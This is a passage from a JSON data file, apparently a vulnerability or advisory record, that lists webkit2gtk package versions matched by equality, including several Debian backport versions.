          "operator": "eq",
          "version": "2.29.3-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.29.1-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.28.2-2"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.26.4-1~bpo9+1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.26.3-1~bpo9+1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.35.1-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.26.1-2"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.28.4-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.24.3-1~bpo9+1"
        },
        {
          "name": "webkit2gtk",
          "operator":